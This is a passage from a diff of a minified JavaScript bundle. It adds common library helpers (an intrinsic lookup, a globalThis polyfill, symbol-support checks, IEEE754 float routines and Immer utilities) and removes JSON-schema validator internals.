null, "%AggregateError%": "undefined" == typeof AggregateError ? n8 : AggregateError, "%Array%": Array, "%ArrayBuffer%": "undefined" == typeof ArrayBuffer ? n8 : ArrayBuffer, "%ArrayIteratorPrototype%": y7 && b8 ? b8([][Symbol.iterator]()) : n8, "%AsyncFromSyncIteratorPrototype%": n8, "%AsyncFunction%": v8, "%AsyncGenerator%": v8, "%AsyncGeneratorFunction%": v8, "%AsyncIteratorPrototype%": v8, "%Atomics%": "undefined" == typeof Atomics ? n8 : Atomics, "%BigInt%": "undefined" == typeof BigInt ? n8 : BigInt, "%BigInt64Array%": "undefined" == typeof BigInt64Array ? n8 : BigInt64Array, "%BigUint64Array%": "undefined" == typeof BigUint64Array ? n8 : BigUint64Array, "%Boolean%": Boolean, "%DataView%": "undefined" == typeof DataView ? n8 : DataView, "%Date%": Date, "%decodeURI%": decodeURI, "%decodeURIComponent%": decodeURIComponent, "%encodeURI%": encodeURI, "%encodeURIComponent%": encodeURIComponent, "%Error%": r8, "%eval%": eval, "%EvalError%": o7, "%Float32Array%": "undefined" == typeof Float32Array ? n8 : Float32Array, "%Float64Array%": "undefined" == typeof Float64Array ? n8 : Float64Array, "%FinalizationRegistry%": "undefined" == typeof FinalizationRegistry ? n8 : FinalizationRegistry, "%Function%": f8, "%GeneratorFunction%": v8, "%Int8Array%": "undefined" == typeof Int8Array ? n8 : Int8Array, "%Int16Array%": "undefined" == typeof Int16Array ? n8 : Int16Array, "%Int32Array%": "undefined" == typeof Int32Array ? n8 : Int32Array, "%isFinite%": isFinite, "%isNaN%": isNaN, "%IteratorPrototype%": y7 && b8 ? b8(b8([][Symbol.iterator]())) : n8, "%JSON%": "object" == typeof JSON ? JSON : n8, "%Map%": "undefined" == typeof Map ? n8 : Map, "%MapIteratorPrototype%": "undefined" != typeof Map && y7 && b8 ? b8((/* @__PURE__ */ new Map())[Symbol.iterator]()) : n8, "%Math%": Math, "%Number%": Number, "%Object%": Object, "%parseFloat%": parseFloat, "%parseInt%": parseInt, "%Promise%": "undefined" == typeof Promise ? n8 : Promise, "%Proxy%": "undefined" == typeof Proxy ? n8 : Proxy, "%RangeError%": s7, "%ReferenceError%": a7, "%Reflect%": "undefined" == typeof Reflect ? n8 : Reflect, "%RegExp%": RegExp, "%Set%": "undefined" == typeof Set ? n8 : Set, "%SetIteratorPrototype%": "undefined" != typeof Set && y7 && b8 ? b8((/* @__PURE__ */ new Set())[Symbol.iterator]()) : n8, "%SharedArrayBuffer%": "undefined" == typeof SharedArrayBuffer ? n8 : SharedArrayBuffer, "%String%": String, "%StringIteratorPrototype%": y7 && b8 ? b8(""[Symbol.iterator]()) : n8, "%Symbol%": y7 ? Symbol : n8, "%SyntaxError%": p7, "%ThrowTypeError%": h8, "%TypedArray%": j6, "%TypeError%": c7, "%Uint8Array%": "undefined" == typeof Uint8Array ? n8 : Uint8Array, "%Uint8ClampedArray%": "undefined" == typeof Uint8ClampedArray ? n8 : Uint8ClampedArray, "%Uint16Array%": "undefined" == typeof Uint16Array ? n8 : Uint16Array, "%Uint32Array%": "undefined" == typeof Uint32Array ? n8 : Uint32Array, "%URIError%": d7, "%WeakMap%": "undefined" == typeof WeakMap ? n8 : WeakMap, "%WeakRef%": "undefined" == typeof WeakRef ? n8 : WeakRef, "%WeakSet%": "undefined" == typeof WeakSet ? n8 : WeakSet }; + if (b8) + try { + null.error; + } catch (e12) { + var x7 = b8(b8(e12)); + $5["%Error.prototype%"] = x7; + } + var _6 = function e12(t10) { + var i9; + if ("%AsyncFunction%" === t10) + i9 = l7("async function () {}"); + else if ("%GeneratorFunction%" === t10) + i9 = l7("function* () {}"); + else if ("%AsyncGeneratorFunction%" === t10) + i9 = l7("async function* () {}"); + else if ("%AsyncGenerator%" === t10) { + var n9 = e12("%AsyncGeneratorFunction%"); + n9 && (i9 = n9.prototype); + } else if ("%AsyncIteratorPrototype%" === t10) { + var r9 = e12("%AsyncGenerator%"); + r9 && b8 && (i9 = b8(r9.prototype)); + } + return $5[t10] = i9, i9; + }, w6 = { __proto__: null, "%ArrayBufferPrototype%": ["ArrayBuffer", "prototype"], "%ArrayPrototype%": ["Array", "prototype"], "%ArrayProto_entries%": ["Array", "prototype", "entries"], "%ArrayProto_forEach%": ["Array", "prototype", "forEach"], "%ArrayProto_keys%": ["Array", "prototype", "keys"], "%ArrayProto_values%": ["Array", "prototype", "values"], "%AsyncFunctionPrototype%": ["AsyncFunction", "prototype"], "%AsyncGenerator%": ["AsyncGeneratorFunction", "prototype"], "%AsyncGeneratorPrototype%": ["AsyncGeneratorFunction", "prototype", "prototype"], "%BooleanPrototype%": ["Boolean", "prototype"], "%DataViewPrototype%": ["DataView", "prototype"], "%DatePrototype%": ["Date", "prototype"], "%ErrorPrototype%": ["Error", "prototype"], "%EvalErrorPrototype%": ["EvalError", "prototype"], "%Float32ArrayPrototype%": ["Float32Array", "prototype"], "%Float64ArrayPrototype%": ["Float64Array", "prototype"], "%FunctionPrototype%": ["Function", "prototype"], "%Generator%": ["GeneratorFunction", "prototype"], "%GeneratorPrototype%": ["GeneratorFunction", "prototype", "prototype"], "%Int8ArrayPrototype%": ["Int8Array", "prototype"], "%Int16ArrayPrototype%": ["Int16Array", "prototype"], "%Int32ArrayPrototype%": ["Int32Array", "prototype"], "%JSONParse%": ["JSON", "parse"], "%JSONStringify%": ["JSON", "stringify"], "%MapPrototype%": ["Map", "prototype"], "%NumberPrototype%": ["Number", "prototype"], "%ObjectPrototype%": ["Object", "prototype"], "%ObjProto_toString%": ["Object", "prototype", "toString"], "%ObjProto_valueOf%": ["Object", "prototype", "valueOf"], "%PromisePrototype%": ["Promise", "prototype"], "%PromiseProto_then%": ["Promise", "prototype", "then"], "%Promise_all%": ["Promise", "all"], "%Promise_reject%": ["Promise", "reject"], "%Promise_resolve%": ["Promise", "resolve"], "%RangeErrorPrototype%": ["RangeError", "prototype"], "%ReferenceErrorPrototype%": ["ReferenceError", "prototype"], "%RegExpPrototype%": ["RegExp", "prototype"], "%SetPrototype%": ["Set", "prototype"], "%SharedArrayBufferPrototype%": ["SharedArrayBuffer", "prototype"], "%StringPrototype%": ["String", "prototype"], "%SymbolPrototype%": ["Symbol", "prototype"], "%SyntaxErrorPrototype%": ["SyntaxError", "prototype"], "%TypedArrayPrototype%": ["TypedArray", "prototype"], "%TypeErrorPrototype%": ["TypeError", "prototype"], "%Uint8ArrayPrototype%": ["Uint8Array", "prototype"], "%Uint8ClampedArrayPrototype%": ["Uint8ClampedArray", "prototype"], "%Uint16ArrayPrototype%": ["Uint16Array", "prototype"], "%Uint32ArrayPrototype%": ["Uint32Array", "prototype"], "%URIErrorPrototype%": ["URIError", "prototype"], "%WeakMapPrototype%": ["WeakMap", "prototype"], "%WeakSetPrototype%": ["WeakSet", "prototype"] }, S6 = i8(79138), P6 = i8(78554), O7 = S6.call(Function.call, Array.prototype.concat), T6 = S6.call(Function.apply, Array.prototype.splice), A6 = S6.call(Function.call, String.prototype.replace), I6 = S6.call(Function.call, String.prototype.slice), E6 = S6.call(Function.call, RegExp.prototype.exec), q5 = /[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g, k6 = /\\(\\)?/g, M6 = function(e12, t10) { + var i9, n9 = e12; + if (P6(w6, n9) && (n9 = "%" + (i9 = w6[n9])[0] + "%"), P6($5, n9)) { + var r9 = $5[n9]; + if (r9 === v8 && (r9 = _6(n9)), void 0 === r9 && !t10) + throw new c7("intrinsic " + e12 + " exists, but is not available. Please file an issue!"); + return { alias: i9, name: n9, value: r9 }; + } + throw new p7("intrinsic " + e12 + " does not exist!"); + }; + e11.exports = function(e12, t10) { + if ("string" != typeof e12 || 0 === e12.length) + throw new c7("intrinsic name must be a non-empty string"); + if (arguments.length > 1 && "boolean" != typeof t10) + throw new c7('"allowMissing" argument must be a boolean'); + if (null === E6(/^%?[^%]*%?$/, e12)) + throw new p7("`%` may not be present anywhere but at the beginning and end of the intrinsic name"); + var i9 = function(e13) { + var t11 = I6(e13, 0, 1), i10 = I6(e13, -1); + if ("%" === t11 && "%" !== i10) + throw new p7("invalid intrinsic syntax, expected closing `%`"); + if ("%" === i10 && "%" !== t11) + throw new p7("invalid intrinsic syntax, expected opening `%`"); + var n10 = []; + return A6(e13, q5, function(e14, t12, i11, r10) { + n10[n10.length] = i11 ? A6(r10, k6, "$1") : t12 || e14; + }), n10; + }(e12), n9 = i9.length > 0 ? i9[0] : "", r9 = M6("%" + n9 + "%", t10), o8 = r9.name, s8 = r9.value, a8 = false, d8 = r9.alias; + d8 && (n9 = d8[0], T6(i9, O7([0, 1], d8))); + for (var f9 = 1, l8 = true; f9 < i9.length; f9 += 1) { + var m8 = i9[f9], h9 = I6(m8, 0, 1), y8 = I6(m8, -1); + if (('"' === h9 || "'" === h9 || "`" === h9 || '"' === y8 || "'" === y8 || "`" === y8) && h9 !== y8) + throw new p7("property names with quotes must have matching quotes"); + if ("constructor" !== m8 && l8 || (a8 = true), P6($5, o8 = "%" + (n9 += "." + m8) + "%")) + s8 = $5[o8]; + else if (null != s8) { + if (!(m8 in s8)) { + if (!t10) + throw new c7("base intrinsic for " + e12 + " exists, but the property is not available."); + return; } + if (u7 && f9 + 1 >= i9.length) { + var g8 = u7(s8, m8); + s8 = (l8 = !!g8) && "get" in g8 && !("originalValue" in g8.get) ? g8.get : s8[m8]; + } else + l8 = P6(s8, m8), s8 = s8[m8]; + l8 && !a8 && ($5[o8] = s8); } - "string" == typeof e13[i9] && (s9 = d8.call(this, e13[i9])), y7.call(this, e13.$anchor), y7.call(this, e13.$dynamicAnchor), a8[t11] = s9; - }), c8; - function l8(e13, t11, i10) { - if (void 0 !== t11 && !r8(e13, t11)) - throw h8(i10); } - function h8(e13) { - return new Error(`reference "${e13}" resolves to more than one schema`); + return s8; + }; + }, 60285: (e11) => { + "use strict"; + "undefined" != typeof self ? e11.exports = self : "undefined" != typeof window ? e11.exports = window : e11.exports = Function("return this")(); + }, 6541: (e11, t9, i8) => { + "use strict"; + var n8 = i8(41857), r8 = i8(60285), o7 = i8(83658), s7 = i8(74952), a7 = o7(), p7 = function() { + return a7; + }; + n8(p7, { getPolyfill: o7, implementation: r8, shim: s7 }), e11.exports = p7; + }, 83658: (e11, t9, i8) => { + "use strict"; + var n8 = i8(60285); + e11.exports = function() { + return "object" == typeof i8.g && i8.g && i8.g.Math === Math && i8.g.Array === Array ? i8.g : n8; + }; + }, 74952: (e11, t9, i8) => { + "use strict"; + var n8 = i8(41857), r8 = i8(69336), o7 = i8(83658); + e11.exports = function() { + var e12 = o7(); + if (n8.supportsDescriptors) { + var t10 = r8(e12, "globalThis"); + t10 && (!t10.configurable || !t10.enumerable && t10.writable && globalThis === e12) || Object.defineProperty(e12, "globalThis", { configurable: true, enumerable: false, value: e12, writable: true }); + } else + "object" == typeof globalThis && globalThis === e12 || (e12.globalThis = e12); + return e12; + }; + }, 69336: (e11, t9, i8) => { + "use strict"; + var n8 = i8(528)("%Object.getOwnPropertyDescriptor%", true); + if (n8) + try { + n8([], "length"); + } catch (e12) { + n8 = null; } + e11.exports = n8; + }, 17239: (e11, t9, i8) => { + "use strict"; + var n8 = i8(64940), r8 = function() { + return !!n8; }; - }, 90383: (e11, t9) => { + r8.hasArrayLengthDefineBug = function() { + if (!n8) + return null; + try { + return 1 !== n8([], "length", { value: 1 }).length; + } catch (e12) { + return true; + } + }, e11.exports = r8; + }, 66869: (e11) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.getRules = t9.isJSONType = void 0; - const i8 = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null", "object", "array"]); - t9.isJSONType = function(e12) { - return "string" == typeof e12 && i8.has(e12); - }, t9.getRules = function() { - const e12 = { number: { type: "number", rules: [] }, string: { type: "string", rules: [] }, array: { type: "array", rules: [] }, object: { type: "object", rules: [] } }; - return { types: { ...e12, integer: true, boolean: true, null: true }, rules: [{ rules: [] }, e12.number, e12.string, e12.array, e12.object], post: { rules: [] }, all: {}, keywords: {} }; + var t9 = { __proto__: null, foo: {} }, i8 = Object; + e11.exports = function() { + return { __proto__: t9 }.foo === t9.foo && !(t9 instanceof i8); }; - }, 50458: (e11, t9, i8) => { + }, 53558: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.checkStrictMode = t9.getErrorPath = t9.Type = t9.useFunc = t9.setEvaluated = t9.evaluatedPropsToName = t9.mergeEvaluated = t9.eachItem = t9.unescapeJsonPointer = t9.escapeJsonPointer = t9.escapeFragment = t9.unescapeFragment = t9.schemaRefOrVal = t9.schemaHasRulesButRef = t9.schemaHasRules = t9.checkUnknownRules = t9.alwaysValidSchema = t9.toHash = void 0; - const n8 = i8(17898), r8 = i8(83277); - function o7(e12, t10 = e12.schema) { - const { opts: i9, self: n9 } = e12; - if (!i9.strictSchema) - return; - if ("boolean" == typeof t10) - return; - const r9 = n9.RULES.keywords; - for (const i10 in t10) - r9[i10] || m7(e12, `unknown keyword: "${i10}"`); + var n8 = "undefined" != typeof Symbol && Symbol, r8 = i8(62908); + e11.exports = function() { + return "function" == typeof n8 && "function" == typeof Symbol && "symbol" == typeof n8("foo") && "symbol" == typeof Symbol("bar") && r8(); + }; + }, 62908: (e11) => { + "use strict"; + e11.exports = function() { + if ("function" != typeof Symbol || "function" != typeof Object.getOwnPropertySymbols) + return false; + if ("symbol" == typeof Symbol.iterator) + return true; + var e12 = {}, t9 = Symbol("test"), i8 = Object(t9); + if ("string" == typeof t9) + return false; + if ("[object Symbol]" !== Object.prototype.toString.call(t9)) + return false; + if ("[object Symbol]" !== Object.prototype.toString.call(i8)) + return false; + for (t9 in e12[t9] = 42, e12) + return false; + if ("function" == typeof Object.keys && 0 !== Object.keys(e12).length) + return false; + if ("function" == typeof Object.getOwnPropertyNames && 0 !== Object.getOwnPropertyNames(e12).length) + return false; + var n8 = Object.getOwnPropertySymbols(e12); + if (1 !== n8.length || n8[0] !== t9) + return false; + if (!Object.prototype.propertyIsEnumerable.call(e12, t9)) + return false; + if ("function" == typeof Object.getOwnPropertyDescriptor) { + var r8 = Object.getOwnPropertyDescriptor(e12, t9); + if (42 !== r8.value || true !== r8.enumerable) + return false; + } + return true; + }; + }, 51913: (e11, t9, i8) => { + "use strict"; + var n8 = i8(62908); + e11.exports = function() { + return n8() && !!Symbol.toStringTag; + }; + }, 78554: (e11, t9, i8) => { + "use strict"; + var n8 = Function.prototype.call, r8 = Object.prototype.hasOwnProperty, o7 = i8(79138); + e11.exports = o7.call(n8, r8); + }, 39318: (e11, t9) => { + t9.read = function(e12, t10, i8, n8, r8) { + var o7, s7, a7 = 8 * r8 - n8 - 1, p7 = (1 << a7) - 1, c7 = p7 >> 1, d7 = -7, f8 = i8 ? r8 - 1 : 0, l7 = i8 ? -1 : 1, u7 = e12[t10 + f8]; + for (f8 += l7, o7 = u7 & (1 << -d7) - 1, u7 >>= -d7, d7 += a7; d7 > 0; o7 = 256 * o7 + e12[t10 + f8], f8 += l7, d7 -= 8) + ; + for (s7 = o7 & (1 << -d7) - 1, o7 >>= -d7, d7 += n8; d7 > 0; s7 = 256 * s7 + e12[t10 + f8], f8 += l7, d7 -= 8) + ; + if (0 === o7) + o7 = 1 - c7; + else { + if (o7 === p7) + return s7 ? NaN : 1 / 0 * (u7 ? -1 : 1); + s7 += Math.pow(2, n8), o7 -= c7; + } + return (u7 ? -1 : 1) * s7 * Math.pow(2, o7 - n8); + }, t9.write = function(e12, t10, i8, n8, r8, o7) { + var s7, a7, p7, c7 = 8 * o7 - r8 - 1, d7 = (1 << c7) - 1, f8 = d7 >> 1, l7 = 23 === r8 ? Math.pow(2, -24) - Math.pow(2, -77) : 0, u7 = n8 ? 0 : o7 - 1, m7 = n8 ? 1 : -1, h8 = t10 < 0 || 0 === t10 && 1 / t10 < 0 ? 1 : 0; + for (t10 = Math.abs(t10), isNaN(t10) || t10 === 1 / 0 ? (a7 = isNaN(t10) ? 1 : 0, s7 = d7) : (s7 = Math.floor(Math.log(t10) / Math.LN2), t10 * (p7 = Math.pow(2, -s7)) < 1 && (s7--, p7 *= 2), (t10 += s7 + f8 >= 1 ? l7 / p7 : l7 * Math.pow(2, 1 - f8)) * p7 >= 2 && (s7++, p7 /= 2), s7 + f8 >= d7 ? (a7 = 0, s7 = d7) : s7 + f8 >= 1 ? (a7 = (t10 * p7 - 1) * Math.pow(2, r8), s7 += f8) : (a7 = t10 * Math.pow(2, f8 - 1) * Math.pow(2, r8), s7 = 0)); r8 >= 8; e12[i8 + u7] = 255 & a7, u7 += m7, a7 /= 256, r8 -= 8) + ; + for (s7 = s7 << r8 | a7, c7 += r8; c7 > 0; e12[i8 + u7] = 255 & s7, u7 += m7, s7 /= 256, c7 -= 8) + ; + e12[i8 + u7 - m7] |= 128 * h8; + }; + }, 58712: (e11, t9) => { + function i8(e12) { + for (var t10 = arguments.length, i9 = Array(t10 > 1 ? t10 - 1 : 0), n9 = 1; n9 < t10; n9++) + i9[n9 - 1] = arguments[n9]; + throw Error("[Immer] minified error nr: " + e12 + (i9.length ? " " + i9.map(function(e13) { + return "'" + e13 + "'"; + }).join(",") : "") + ". Find the full error at: https://bit.ly/3cXEKWf"); } - function s7(e12, t10) { - if ("boolean" == typeof e12) - return !e12; - for (const i9 in e12) - if (t10[i9]) + function n8(e12) { + return !!e12 && !!e12[G5]; + } + function r8(e12) { + var t10; + return !!e12 && (function(e13) { + if (!e13 || "object" != typeof e13) + return false; + var t11 = Object.getPrototypeOf(e13); + if (null === t11) return true; - return false; + var i9 = Object.hasOwnProperty.call(t11, "constructor") && t11.constructor; + return i9 === Object || "function" == typeof i9 && Function.toString.call(i9) === J5; + }(e12) || Array.isArray(e12) || !!e12[H5] || !!(null === (t10 = e12.constructor) || void 0 === t10 ? void 0 : t10[H5]) || f8(e12) || l7(e12)); } - function a7(e12) { - return "number" == typeof e12 ? `${e12}` : e12.replace(/~/g, "~0").replace(/\//g, "~1"); + function o7(e12, t10, i9) { + void 0 === i9 && (i9 = false), 0 === s7(e12) ? (i9 ? Object.keys : Z5)(e12).forEach(function(n9) { + i9 && "symbol" == typeof n9 || t10(n9, e12[n9], e12); + }) : e12.forEach(function(i10, n9) { + return t10(n9, i10, e12); + }); } - function p7(e12) { - return e12.replace(/~1/g, "/").replace(/~0/g, "~"); + function s7(e12) { + var t10 = e12[G5]; + return t10 ? t10.t > 3 ? t10.t - 4 : t10.t : Array.isArray(e12) ? 1 : f8(e12) ? 2 : l7(e12) ? 3 : 0; } - function c7({ mergeNames: e12, mergeToName: t10, mergeValues: i9, resultToName: r9 }) { - return (o8, s8, a8, p8) => { - const c8 = void 0 === a8 ? s8 : a8 instanceof n8.Name ? (s8 instanceof n8.Name ? e12(o8, s8, a8) : t10(o8, s8, a8), a8) : s8 instanceof n8.Name ? (t10(o8, a8, s8), s8) : i9(s8, a8); - return p8 !== n8.Name || c8 instanceof n8.Name ? c8 : r9(o8, c8); - }; + function a7(e12, t10) { + return 2 === s7(e12) ? e12.has(t10) : Object.prototype.hasOwnProperty.call(e12, t10); + } + function p7(e12, t10) { + return 2 === s7(e12) ? e12.get(t10) : e12[t10]; + } + function c7(e12, t10, i9) { + var n9 = s7(e12); + 2 === n9 ? e12.set(t10, i9) : 3 === n9 ? e12.add(i9) : e12[t10] = i9; } function d7(e12, t10) { - if (true === t10) - return e12.var("props", true); - const i9 = e12.var("props", n8._`{}`); - return void 0 !== t10 && f8(e12, i9, t10), i9; + return e12 === t10 ? 0 !== e12 || 1 / e12 == 1 / t10 : e12 != e12 && t10 != t10; } - function f8(e12, t10, i9) { - Object.keys(i9).forEach((i10) => e12.assign(n8._`${t10}${(0, n8.getProperty)(i10)}`, true)); + function f8(e12) { + return z6 && e12 instanceof Map; } - t9.toHash = function(e12) { - const t10 = {}; - for (const i9 of e12) - t10[i9] = true; - return t10; - }, t9.alwaysValidSchema = function(e12, t10) { - return "boolean" == typeof t10 ? t10 : 0 === Object.keys(t10).length || (o7(e12, t10), !s7(t10, e12.self.RULES.all)); - }, t9.checkUnknownRules = o7, t9.schemaHasRules = s7, t9.schemaHasRulesButRef = function(e12, t10) { - if ("boolean" == typeof e12) - return !e12; - for (const i9 in e12) - if ("$ref" !== i9 && t10.all[i9]) - return true; - return false; - }, t9.schemaRefOrVal = function({ topSchemaRef: e12, schemaPath: t10 }, i9, r9, o8) { - if (!o8) { - if ("number" == typeof i9 || "boolean" == typeof i9) - return i9; - if ("string" == typeof i9) - return n8._`${i9}`; - } - return n8._`${e12}${t10}${(0, n8.getProperty)(r9)}`; - }, t9.unescapeFragment = function(e12) { - return p7(decodeURIComponent(e12)); - }, t9.escapeFragment = function(e12) { - return encodeURIComponent(a7(e12)); - }, t9.escapeJsonPointer = a7, t9.unescapeJsonPointer = p7, t9.eachItem = function(e12, t10) { - if (Array.isArray(e12)) - for (const i9 of e12) - t10(i9); - else - t10(e12); - }, t9.mergeEvaluated = { props: c7({ mergeNames: (e12, t10, i9) => e12.if(n8._`${i9} !== true && ${t10} !== undefined`, () => { - e12.if(n8._`${t10} === true`, () => e12.assign(i9, true), () => e12.assign(i9, n8._`${i9} || {}`).code(n8._`Object.assign(${i9}, ${t10})`)); - }), mergeToName: (e12, t10, i9) => e12.if(n8._`${i9} !== true`, () => { - true === t10 ? e12.assign(i9, true) : (e12.assign(i9, n8._`${i9} || {}`), f8(e12, i9, t10)); - }), mergeValues: (e12, t10) => true === e12 || { ...e12, ...t10 }, resultToName: d7 }), items: c7({ mergeNames: (e12, t10, i9) => e12.if(n8._`${i9} !== true && ${t10} !== undefined`, () => e12.assign(i9, n8._`${t10} === true ? true : ${i9} > ${t10} ? ${i9} : ${t10}`)), mergeToName: (e12, t10, i9) => e12.if(n8._`${i9} !== true`, () => e12.assign(i9, true === t10 || n8._`${i9} > ${t10} ? ${i9} : ${t10}`)), mergeValues: (e12, t10) => true === e12 || Math.max(e12, t10), resultToName: (e12, t10) => e12.var("items", t10) }) }, t9.evaluatedPropsToName = d7, t9.setEvaluated = f8; - const l7 = {}; - var u7; - function m7(e12, t10, i9 = e12.opts.strictSchema) { - if (i9) { - if (t10 = `strict mode: ${t10}`, true === i9) - throw new Error(t10); - e12.self.logger.warn(t10); - } + function l7(e12) { + return B6 && e12 instanceof Set; } - t9.useFunc = function(e12, t10) { - return e12.scopeValue("func", { ref: t10, code: l7[t10.code] || (l7[t10.code] = new r8._Code(t10.code)) }); - }, function(e12) { - e12[e12.Num = 0] = "Num", e12[e12.Str = 1] = "Str"; - }(u7 || (t9.Type = u7 = {})), t9.getErrorPath = function(e12, t10, i9) { - if (e12 instanceof n8.Name) { - const r9 = t10 === u7.Num; - return i9 ? r9 ? n8._`"[" + ${e12} + "]"` : n8._`"['" + ${e12} + "']"` : r9 ? n8._`"/" + ${e12}` : n8._`"/" + ${e12}.replace(/~/g, "~0").replace(/\\//g, "~1")`; + function u7(e12) { + return e12.i || e12.u; + } + function m7(e12) { + if (Array.isArray(e12)) + return Array.prototype.slice.call(e12); + var t10 = Y6(e12); + delete t10[G5]; + for (var i9 = Z5(t10), n9 = 0; n9 < i9.length; n9++) { + var r9 = i9[n9], o8 = t10[r9]; + false === o8.writable && (o8.writable = true, o8.configurable = true), (o8.get || o8.set) && (t10[r9] = { configurable: true, writable: true, enumerable: o8.enumerable, value: e12[r9] }); } - return i9 ? (0, n8.getProperty)(e12).toString() : "/" + a7(e12); - }, t9.checkStrictMode = m7; - }, 74758: (e11, t9) => { - "use strict"; - function i8(e12, t10) { - return t10.rules.some((t11) => n8(e12, t11)); + return Object.create(Object.getPrototypeOf(e12), t10); } - function n8(e12, t10) { - var i9; - return void 0 !== e12[t10.keyword] || (null === (i9 = t10.definition.implements) || void 0 === i9 ? void 0 : i9.some((t11) => void 0 !== e12[t11])); + function h8(e12, t10) { + return void 0 === t10 && (t10 = false), g7(e12) || n8(e12) || !r8(e12) || (s7(e12) > 1 && (e12.set = e12.add = e12.clear = e12.delete = y7), Object.freeze(e12), t10 && o7(e12, function(e13, t11) { + return h8(t11, true); + }, true)), e12; } - Object.defineProperty(t9, "__esModule", { value: true }), t9.shouldUseRule = t9.shouldUseGroup = t9.schemaHasRulesForType = void 0, t9.schemaHasRulesForType = function({ schema: e12, self: t10 }, n9) { - const r8 = t10.RULES.types[n9]; - return r8 && true !== r8 && i8(e12, r8); - }, t9.shouldUseGroup = i8, t9.shouldUseRule = n8; - }, 15948: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.boolOrEmptySchema = t9.topBoolOrEmptySchema = void 0; - const n8 = i8(49409), r8 = i8(17898), o7 = i8(63036), s7 = { message: "boolean schema is false" }; - function a7(e12, t10) { - const { gen: i9, data: r9 } = e12, o8 = { gen: i9, keyword: "false schema", data: r9, schema: false, schemaCode: false, schemaValue: false, params: {}, it: e12 }; - (0, n8.reportError)(o8, s7, void 0, t10); + function y7() { + i8(2); } - t9.topBoolOrEmptySchema = function(e12) { - const { gen: t10, schema: i9, validateName: n9 } = e12; - false === i9 ? a7(e12, false) : "object" == typeof i9 && true === i9.$async ? t10.return(o7.default.data) : (t10.assign(r8._`${n9}.errors`, null), t10.return(true)); - }, t9.boolOrEmptySchema = function(e12, t10) { - const { gen: i9, schema: n9 } = e12; - false === n9 ? (i9.var(t10, false), a7(e12)) : i9.var(t10, true); - }; - }, 69003: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.reportTypeError = t9.checkDataTypes = t9.checkDataType = t9.coerceAndCheckDataType = t9.getJSONTypes = t9.getSchemaTypes = t9.DataType = void 0; - const n8 = i8(90383), r8 = i8(74758), o7 = i8(49409), s7 = i8(17898), a7 = i8(50458); - var p7; - function c7(e12) { - const t10 = Array.isArray(e12) ? e12 : e12 ? [e12] : []; - if (t10.every(n8.isJSONType)) - return t10; - throw new Error("type must be JSONType or JSONType[]: " + t10.join(",")); + function g7(e12) { + return null == e12 || "object" != typeof e12 || Object.isFrozen(e12); } - !function(e12) { - e12[e12.Correct = 0] = "Correct", e12[e12.Wrong = 1] = "Wrong"; - }(p7 || (t9.DataType = p7 = {})), t9.getSchemaTypes = function(e12) { - const t10 = c7(e12.type); - if (t10.includes("null")) { - if (false === e12.nullable) - throw new Error("type: null contradicts nullable: false"); - } else { - if (!t10.length && void 0 !== e12.nullable) - throw new Error('"nullable" cannot be used without "type"'); - true === e12.nullable && t10.push("null"); - } - return t10; - }, t9.getJSONTypes = c7, t9.coerceAndCheckDataType = function(e12, t10) { - const { gen: i9, data: n9, opts: o8 } = e12, a8 = function(e13, t11) { - return t11 ? e13.filter((e14) => d7.has(e14) || "array" === t11 && "array" === e14) : []; - }(t10, o8.coerceTypes), c8 = t10.length > 0 && !(0 === a8.length && 1 === t10.length && (0, r8.schemaHasRulesForType)(e12, t10[0])); - if (c8) { - const r9 = l7(t10, n9, o8.strictNumbers, p7.Wrong); - i9.if(r9, () => { - a8.length ? function(e13, t11, i10) { - const { gen: n10, data: r10, opts: o9 } = e13, a9 = n10.let("dataType", s7._`typeof ${r10}`), p8 = n10.let("coerced", s7._`undefined`); - "array" === o9.coerceTypes && n10.if(s7._`${a9} == 'object' && Array.isArray(${r10}) && ${r10}.length == 1`, () => n10.assign(r10, s7._`${r10}[0]`).assign(a9, s7._`typeof ${r10}`).if(l7(t11, r10, o9.strictNumbers), () => n10.assign(p8, r10))), n10.if(s7._`${p8} !== undefined`); - for (const e14 of i10) - (d7.has(e14) || "array" === e14 && "array" === o9.coerceTypes) && c9(e14); - function c9(e14) { - switch (e14) { - case "string": - return void n10.elseIf(s7._`${a9} == "number" || ${a9} == "boolean"`).assign(p8, s7._`"" + ${r10}`).elseIf(s7._`${r10} === null`).assign(p8, s7._`""`); - case "number": - return void n10.elseIf(s7._`${a9} == "boolean" || ${r10} === null - || (${a9} == "string" && ${r10} && ${r10} == +${r10})`).assign(p8, s7._`+${r10}`); - case "integer": - return void n10.elseIf(s7._`${a9} === "boolean" || ${r10} === null - || (${a9} === "string" && ${r10} && ${r10} == +${r10} && !(${r10} % 1))`).assign(p8, s7._`+${r10}`); - case "boolean": - return void n10.elseIf(s7._`${r10} === "false" || ${r10} === 0 || ${r10} === null`).assign(p8, false).elseIf(s7._`${r10} === "true" || ${r10} === 1`).assign(p8, true); - case "null": - return n10.elseIf(s7._`${r10} === "" || ${r10} === 0 || ${r10} === false`), void n10.assign(p8, null); - case "array": - n10.elseIf(s7._`${a9} === "string" || ${a9} === "number" - || ${a9} === "boolean" || ${r10} === null`).assign(p8, s7._`[${r10}]`); - } - } - n10.else(), m7(e13), n10.endIf(), n10.if(s7._`${p8} !== undefined`, () => { - n10.assign(r10, p8), function({ gen: e14, parentData: t12, parentDataProperty: i11 }, n11) { - e14.if(s7._`${t12} !== undefined`, () => e14.assign(s7._`${t12}[${i11}]`, n11)); - }(e13, p8); - }); - }(e12, t10, a8) : m7(e12); - }); - } - return c8; - }; - const d7 = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null"]); - function f8(e12, t10, i9, n9 = p7.Correct) { - const r9 = n9 === p7.Correct ? s7.operators.EQ : s7.operators.NEQ; - let o8; - switch (e12) { - case "null": - return s7._`${t10} ${r9} null`; - case "array": - o8 = s7._`Array.isArray(${t10})`; - break; - case "object": - o8 = s7._`${t10} && typeof ${t10} == "object" && !Array.isArray(${t10})`; - break; - case "integer": - o8 = a8(s7._`!(${t10} % 1) && !isNaN(${t10})`); - break; - case "number": - o8 = a8(); - break; - default: - return s7._`typeof ${t10} ${r9} ${e12}`; - } - return n9 === p7.Correct ? o8 : 